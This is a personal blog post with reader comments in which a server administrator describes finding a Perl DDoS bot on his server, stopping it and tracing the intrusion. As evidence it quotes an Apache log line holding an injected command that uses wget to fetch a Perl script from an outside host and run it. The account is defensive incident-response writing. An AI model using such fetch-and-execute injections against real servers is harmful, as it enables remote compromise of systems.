Damn Script Kiddies, Get Off My Lawn!

| 6 Comments | 0 TrackBacks
| | | |

This should be a post about how entertaining the Chicago edition of w00tstock was1 or about Steve Jobs' WWDC Keynote2 or about the Blackhawks winning the Stanley Cup3 or any number of other things. Instead this post it about cleaning up after some script kiddie who decided to try to use a server that does not belong to them for their own personal use.

See, on Monday last, I discovered, after an automated notice of high computing load, a process identifying itself as "/usr/sbin/apache/log" which had been running for some 30+ hours. Obviously, no Apache log rotation should take that long. Moreover, the log rotation program commonly found with the Apache Web Server is known as rotatelog. A quick directory listing confirmed that no such program or directory existed at "/usr/sbin/apache/log"

A Google search for that path resulted in a number of pages warning of a possible system compromise and suggested a review of files in the "/var/tmp" and "/tmp" directories for anything weird.

Alas, anything weird is a bit vague and considering that both temporary directories are common placeholders for random files of any number of system users or programs it took me a few passes to realize that in this case that "anything weird" would be any thing executable since any proper executable would reside elsewhere on a Unix-based filesystem.

An extended listing of contents resulted in the the identification of the culprit, a Perl script called, pxconfig residing in the root tmp directory.

Luckily no evidence indicated a greater incursion, such as a rootkit being installed, thus disabling the script was a simple matter of using root's superuser status to kill the process and remove the privileges of script file from executing.

Another Google search, using some of the script's code, resulted in the discovery of an analysis of a similar Perlbot, the main difference being that the script I had discovered looked to have been modified with the sole purpose of working in coordination with other compromised systems for overloading a server with resource requests (DDoS) and seemed to contain no code to propagate itself.

So after disabling the offending script, I set about trying to discover how it managed to get itself installed in the first place. This blog posting suggested a possible point of entry and indeed after trying a couple of different search patterns on the Apache access logs I located the point of entry:

access_log.5.gz:80.37.xxx.xx - -
[01/Jun/2009:00:01:54 -0500] "GET
wget%20http://81.56.xxx.xxx/d.pl;perl%20d.pl;echo%20YYY;echo| HTTP/1.1" 200 434 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

Notice in the GET request a GIF file being uploaded and a series of shell commands. Well the GIF file is no doubt corrupt, designed to take advantage of any number of known security vulnerabilities with the GD library resulting in a buffer overflow that in turn allows the arbitrary execution of the commands. Those commands change access to the "/tmp" directory, use wget to download a perl file and then execute said perl file. That file no doubt downloads yet another script name pxconfig, executes that second script and removes itself.

Moral of the story? Keep the system up-to-date, restrict all points where files can be uploaded, keep a close eye on what's running and Google is your friend.

Damn kids these days!

1 Quick Review: Very entertaining, would have liked a chance to get Bill Amend's autograph on a FoxTrot Collection.

2 Yes, I still plan on upgrading my iPhone from a "3G" to the new "4", no I'm not surprised Apple has renamed their mobile OS.

3 Time to retake my picture with The Cup.

No TrackBacks

TrackBack URL: http://pdw.weinstein.org/mt/mt-tb.cgi/198


Nice work.

But, this is when there are httpd (apache) processes and PHP is installed.
And when using an IRCd?

I have not found such a script named pxconfig.
I found only the jobs processes /usr/sbin/apache/log and the TXT files in /tmp

How to stop this?

In my case a known vulnerability with PHP (which more times than not is implemented along with Apache) was used to install a payload that enabled access for the script named "pxconfig" to be installed. However, that doesn't mean that what I outline above is the only attack vector available for compromising a server.

Nor does the script need to be called "pxconfig", which is why the suggestions I found elsewhere suggest to "look for anything weird" and why I suggest looking for anything that is executable. The point is, don't trust the file name, even if it has a .txt extension

In regards to to stopping the running process, I would first try using the "kill" command as root to kill the process and then use the "chmod" command to remove the execute permissions on the script file. Alternatively, you could just remove the file with "rm" and then restart the system.

Thanks, Paul.
Yep. You're very very right. Just kill the process and clean up the tmp folder has not ceased the attack. In that case, the only way was to remove the IRCds.
There was a recent news item about a bug in UnrealIRCd
I believe that the infection was through it, therefore, four costumers had the same problem.
We stopped and blocked the IRCds until customers upgrade their systems.
Once this is done, no more problem. At least until the present moment.

Can also confirm that attack was via UnrealIRCd on my server too, file name was 80.txt my IRCd has like 40 people max on it at anytime so I'd be surprised if it was one of them or any of my users, not really their style, I'd suggest that the hacked version of Unreal and the subsequent use of the hole are related insofar as the ircd hack was probably calling home. Can't see what if anything the hack does except grant oper status to someone on the ircd, not a huge dram but wonder what the hell was using the CPU cycles?

Interesting, thanks for that additional information Pete.

Presumably, the compromised IRC servers are being used as distributed "command and control" points to issue orders to other compromised servers, such as mine. That might explain the high computing load, as your server was busy issuing commands and coordinating numerous other 'bots "out in the field."

I had this happen, but it was called floodsend.tgz and .m

They ended up using like a TB of bandwidth...

Leave a comment

About the Author

Paul is a technologist and all around nice guy for technology oriented organizations and parties. Besides maintaining this blog and website you can follow Paul's particular pontifications on the Life Universe and Everything on Twitter.


Add to Google Reader or Homepage
Add to My AOL

Add to netvibes
Subscribe in Bloglines
Add to Technorati Favorites

Movable Type Pro